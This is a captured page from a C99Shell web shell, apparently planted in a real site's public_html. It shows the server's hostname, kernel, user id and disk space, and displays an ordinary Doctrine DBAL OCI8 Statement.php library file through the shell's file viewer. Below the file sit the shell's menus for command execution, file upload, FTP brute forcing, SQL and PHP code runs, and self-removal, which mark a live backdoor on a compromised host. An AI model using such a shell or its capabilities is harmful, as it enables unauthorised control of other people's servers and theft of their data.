!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/doctrine/dbal/src/Driver/OCI8/   drwxr-xr-x
Free 28.78 GB of 117.98 GB (24.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Statement.php (4.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\DBAL\Driver\OCI8;

use 
Doctrine\DBAL\Driver\OCI8\Exception\Error;
use 
Doctrine\DBAL\Driver\OCI8\Exception\UnknownParameterIndex;
use 
Doctrine\DBAL\Driver\Result as ResultInterface;
use 
Doctrine\DBAL\Driver\Statement as StatementInterface;
use 
Doctrine\DBAL\ParameterType;
use 
Doctrine\Deprecations\Deprecation;

use function 
func_num_args;
use function 
is_int;
use function 
oci_bind_by_name;
use function 
oci_execute;
use function 
oci_new_descriptor;

use const 
OCI_B_BIN;
use const 
OCI_B_BLOB;
use const 
OCI_COMMIT_ON_SUCCESS;
use const 
OCI_D_LOB;
use const 
OCI_NO_AUTO_COMMIT;
use const 
OCI_TEMP_BLOB;
use const 
SQLT_CHR;

final class 
Statement implements StatementInterface
{
    
/** @var resource */
    
private $connection;

    
/** @var resource */
    
private $statement;

    
/** @var array<int,string> */
    
private array $parameterMap;

    private 
ExecutionMode $executionMode;

    
/**
     * @internal The statement can be only instantiated by its driver connection.
     *
     * @param resource          $connection
     * @param resource          $statement
     * @param array<int,string> $parameterMap
     */
    
public function __construct($connection$statement, array $parameterMapExecutionMode $executionMode)
    {
        
$this->connection    $connection;
        
$this->statement     $statement;
        
$this->parameterMap  $parameterMap;
        
$this->executionMode $executionMode;
    }

    
/**
     * {@inheritDoc}
     */
    
public function bindValue($param$value$type ParameterType::STRING): bool
    
{
        if (
func_num_args() < 3) {
            
Deprecation::trigger(
                
'doctrine/dbal',
                
'https://github.com/doctrine/dbal/pull/5558',
                
'Not passing $type to Statement::bindValue() is deprecated.'
                    
' Pass the type corresponding to the parameter being bound.',
            );
        }

        return 
$this->bindParam($param$value$type);
    }

    
/**
     * {@inheritDoc}
     *
     * @deprecated Use {@see bindValue()} instead.
     */
    
public function bindParam($param, &$variable$type ParameterType::STRING$length null): bool
    
{
        
Deprecation::trigger(
            
'doctrine/dbal',
            
'https://github.com/doctrine/dbal/pull/5563',
            
'%s is deprecated. Use bindValue() instead.',
            
__METHOD__,
        );

        if (
func_num_args() < 3) {
            
Deprecation::trigger(
                
'doctrine/dbal',
                
'https://github.com/doctrine/dbal/pull/5558',
                
'Not passing $type to Statement::bindParam() is deprecated.'
                    
' Pass the type corresponding to the parameter being bound.',
            );
        }

        if (
is_int($param)) {
            if (! isset(
$this->parameterMap[$param])) {
                throw 
UnknownParameterIndex::new($param);
            }

            
$param $this->parameterMap[$param];
        }

        if (
$type === ParameterType::LARGE_OBJECT) {
            if (
$variable !== null) {
                
$lob oci_new_descriptor($this->connectionOCI_D_LOB);
                
$lob->writeTemporary($variableOCI_TEMP_BLOB);

                
$variable =& $lob;
            } else {
                
$type ParameterType::STRING;
            }
        }

        return 
oci_bind_by_name(
            
$this->statement,
            
$param,
            
$variable,
            
$length ?? -1,
            
$this->convertParameterType($type),
        );
    }

    
/**
     * Converts DBAL parameter type to oci8 parameter type
     */
    
private function convertParameterType(int $type): int
    
{
        switch (
$type) {
            case 
ParameterType::BINARY:
                return 
OCI_B_BIN;

            case 
ParameterType::LARGE_OBJECT:
                return 
OCI_B_BLOB;

            default:
                return 
SQLT_CHR;
        }
    }

    
/**
     * {@inheritDoc}
     */
    
public function execute($params null): ResultInterface
    
{
        if (
$params !== null) {
            
Deprecation::trigger(
                
'doctrine/dbal',
                
'https://github.com/doctrine/dbal/pull/5556',
                
'Passing $params to Statement::execute() is deprecated. Bind parameters using'
                    
' Statement::bindParam() or Statement::bindValue() instead.',
            );

            foreach (
$params as $key => $val) {
                if (
is_int($key)) {
                    
$this->bindValue($key 1$valParameterType::STRING);
                } else {
                    
$this->bindValue($key$valParameterType::STRING);
                }
            }
        }

        if (
$this->executionMode->isAutoCommitEnabled()) {
            
$mode OCI_COMMIT_ON_SUCCESS;
        } else {
            
$mode OCI_NO_AUTO_COMMIT;
        }

        
$ret = @oci_execute($this->statement$mode);
        if (! 
$ret) {
            throw 
Error::new($this->statement);
        }

        return new 
Result($this->statement);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--